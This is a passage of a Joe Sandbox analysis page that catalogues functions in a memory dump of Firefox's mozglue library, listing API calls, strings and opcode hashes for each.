Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 4275171209-1269058137
Opcode ID: 0234bcee38ea8432575465c431bdeb64946db9205a1d33223304a43114e664e3
Instruction ID: 0b32c608edb92cee59664aae144ef37616372a6997963f8919faa5c304d6d649
Opcode Fuzzy Hash: 0234bcee38ea8432575465c431bdeb64946db9205a1d33223304a43114e664e3
Instruction Fuzzy Hash: 7131C370F412169BFB10AFB58C46BAE7BB5AB81758F314015F611EBA90DB74F500CBA1

Function 6CDB7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB7EA7
malloc.MOZGLUE(00000001), ref: 6CDB7EB3

Part of subcall function 6CDBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CDBCB49
Part of subcall function 6CDBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CDB7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CDB7F19
malloc.MOZGLUE(?), ref: 6CDB7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDB7F4D

Strings

d, xrefs: 6CDB7F89

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: dc965c86c4f599c28126ec09197af82df9d4c8990bde5cee451d6113cf8606a8
Instruction ID: 0fb9ca01669a1e8bbe7ac3e3ac11b1a5ef9a32bc416dd69c41b1e81ba1b20bf9
Opcode Fuzzy Hash: dc965c86c4f599c28126ec09197af82df9d4c8990bde5cee451d6113cf8606a8
Instruction Fuzzy Hash: 97312CA1E0074897DB019F78CC45AFEB7B8EF95208F055228DC55A7622FB74E6D8C3A0

Function 6CDB3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CDB3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CDB4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB4157

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5edefa29da2f7031b4ac493fb249457f74ec143d4383b939426978a78d325303
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: BBA17FF1A40215CFDB40CF69C88065AB7F5FF48318F2545A9D90AAF762D771E886CBA0

Function 6CDA48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CDE483A,?), ref: 6CDA4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CDE483A,?), ref: 6CDA4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CDE483A,?), ref: 6CDA4A82

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CDE483A,?), ref: 6CDA4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CDE483A,?), ref: 6CDA4A35

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CDE483A,?), ref: 6CDA4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CDE483A,?), ref: 6CDA4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CDE483A,?), ref: 6CDA4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CDE483A,?), ref: 6CDA4B2C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 76e55d58d1075d5b634f0f47ae7e581760c5c6536f2de458e2ba77775d13287b
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9C7139B19007069FCB54CFA8C480AAAB7F5FF49308B10563ED15A9BB61EB31F555CB90

Function 6CDF9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF8273), ref: 6CDF9D65
free.MOZGLUE(6CDF8273,?), ref: 6CDF9D7C
free.MOZGLUE(?,?), ref: 6CDF9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDF9E0F
free.MOZGLUE(6CDF946B,?,?), ref: 6CDF9E24
free.MOZGLUE(?,?,?), ref: 6CDF9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CDF9EC8
free.MOZGLUE(6CDF946B,?,?,?), ref: 6CDF9EDF
free.MOZGLUE(?,?,?,?), ref: 6CDF9EF5

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 0da6247ffca72e9dd3c8d9a82ef063469c79300ed05a79a2db43bd3047b19986
Instruction ID: 53d930d8710f1ab8249e5ee3b92316f16150e336ecf2c726a9adda1b58f14335
Opcode Fuzzy Hash: 0da6247ffca72e9dd3c8d9a82ef063469c79300ed05a79a2db43bd3047b19986
Instruction Fuzzy Hash: ED71A070A0AB41CBD712CF18C44055BF3F8FF99315B458619E89A5B721EB31E986CB91

Function 6CDFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CDFDDCF

Part of subcall function 6CDDFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDDFA4B

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDE0D
free.MOZGLUE(00000000), ref: 6CDFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CDEDEFD,?,6CDB4A68), ref: 6CDFDF32

Part of subcall function 6CDFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDFDB86
Part of subcall function 6CDFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CDEDEFD,?,6CDB4A68), ref: 6CDFDF65
free.MOZGLUE(?), ref: 6CDFDF80

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 5f74835e722d6172c753f20539877f711ea644b3fb2985e01ea2bbff7fa90fc9
Instruction ID: 0e5d72e4d0d95e53ac08056b65a63b22d8a6536c8599aeb94787016bf2b4a1ee
Opcode Fuzzy Hash: 5f74835e722d6172c753f20539877f711ea644b3fb2985e01ea2bbff7fa90fc9
Instruction Fuzzy Hash: FD51A672701600DBE7119F18D8807AEB3B6BF91308F970518D9AA53B20D731F91BCB92

Function 6CE05D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05DC9
std::_Facet_Register.LIBCPMT ref: 6CE05DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05E45

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: b978b2fa379185e6c83e5f21c779c20e9a2ef1eb34367d6b83e06260713d4a59
Instruction ID: 1f593adea0b964cb0e18669c31bbcbbcc6bcc9b3bbd9c91b7de5639282028383
Opcode Fuzzy Hash: b978b2fa379185e6c83e5f21c779c20e9a2ef1eb34367d6b83e06260713d4a59
Instruction Fuzzy Hash: 93418F30B012049FDB10DF65C898BAE77BAEF89318F244069E50A9B791DB34E815CFA5

Function 6CDAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDAF100: LoadLibraryW.KERNEL32(shell32,?,6CE1D020), ref: 6CDAF122
Part of subcall function 6CDAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CDAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CDAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CDAEDCC
CreateFileW.KERNEL32 ref: 6CDAEE08
free.MOZGLUE(00000000), ref: 6CDAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CDAEE32

Part of subcall function 6CDAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CDAEBB5
Part of subcall function 6CDAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CDDD7F3), ref: 6CDAEBC3
Part of subcall function 6CDAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CDDD7F3), ref: 6CDAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CDAEDC1

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 2411bc8c07195595dd7aae53c2f5d38b343520ccf88bf3f8cdc93ac5c64e1548
Instruction ID: 28d00a0883bc4c46d8e92fe13fde3c24473e60b3114fbb9192d6c8e248b9c18d
Opcode Fuzzy Hash: 2411bc8c07195595dd7aae53c2f5d38b343520ccf88bf3f8cdc93ac5c64e1548
Instruction Fuzzy Hash: D451D471D05214CBDB00DFA8C8407EEB7B1AF59318F44892DD85577B60E734AA5AC7E2

Function 6CE1A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE1A565

Part of subcall function 6CE1A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE1A4BE
Part of subcall function 6CE1A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE1A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE1A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE1A6B6

Strings

z, xrefs: 6CE1A6AE
0, xrefs: 6CE1A5FB

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ada7f35ee5a0c74ce5e6b113fa2c9a1e53511e1a9939db02f4afc8bd664efed0
Instruction ID: 1b0a5039f8bf9aab126b7c82b5fbee7703164a850d733aac727103d4102b7298
Opcode Fuzzy Hash: ada7f35ee5a0c74ce5e6b113fa2c9a1e53511e1a9939db02f4afc8bd664efed0
Instruction Fuzzy Hash: 5B41477190C7459FC341CF28C080A9ABBF5BF89358F508A2EF49987750EB30E559CB92

Function 6CDA78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CE2008B), ref: 6CDA7B89
free.MOZGLUE(?,6CE2008B), ref: 6CDA7BAC

Part of subcall function 6CDA78C0: free.MOZGLUE(?,6CE2008B), ref: 6CDA7BCF

free.MOZGLUE(?,6CE2008B), ref: 6CDA7BF2

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 230deba7ed56032771e3a475dc62cde03ce904e6b496891367eedc0ba8eed8b3
Instruction ID: 6cdd8a1bb09c2eb2b996566c63585666e4bf6909ca185e53db7fc088bb3ec8c7
Opcode Fuzzy Hash: 230deba7ed56032771e3a475dc62cde03ce904e6b496891367eedc0ba8eed8b3
Instruction Fuzzy Hash: C8C1B771E01128DBEB248BA8CC90BDDB772BF41314F1603A9D41AA7BE5D7319E868F51

Function 6CDE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
__Init_thread_footer.LIBCMT ref: 6CDE949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDE9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDE947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDE946B

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 34c1296233632afbf72284af250a4c1d204c6005dbc213e9ac5ba36be6b943ad
Instruction ID: 752c3f2d059178ffa544da33079f97921065331b738cf1969e25f25ae0423864
Opcode Fuzzy Hash: 34c1296233632afbf72284af250a4c1d204c6005dbc213e9ac5ba36be6b943ad
Instruction Fuzzy Hash: E6014770B01211C7E7009B6CD811F8D33B4AB4A32DF15053BED0A86B61F67EE9658A5F

Function 6CDF0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDF0F88
GetCurrentThreadId.KERNEL32 ref: 6CDF0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CDF1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CDF10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CDF114B

Part of subcall function 6CDE8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE01563), ref: 6CDE8BD5

free.MOZGLUE(?), ref: 6CDF1174
free.MOZGLUE(?), ref: 6CDF1186

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 15916e6c4622306c86097096710d15ba91673c026298fca191d86338544878a6
Instruction ID: a8cfb485ee20ec8978d169227cc08a8f58d05cb71191d3c3c99773ab14500c0b
Opcode Fuzzy Hash: 15916e6c4622306c86097096710d15ba91673c026298fca191d86338544878a6
Instruction Fuzzy Hash: 3161D175A043449BDB10CF24C880B9AB7F6BFC5308F06891DE8A947721EB75E54ACB92

Function 6CDAB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6AC

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CDAB61E), ref: 6CDAB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CDAB61E,?,?,?,?,?,00000000), ref: 6CDAB79A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 16b7a2c3ed54f233b1b5a846105be035bf39855e98fd953986b10a40125018ac
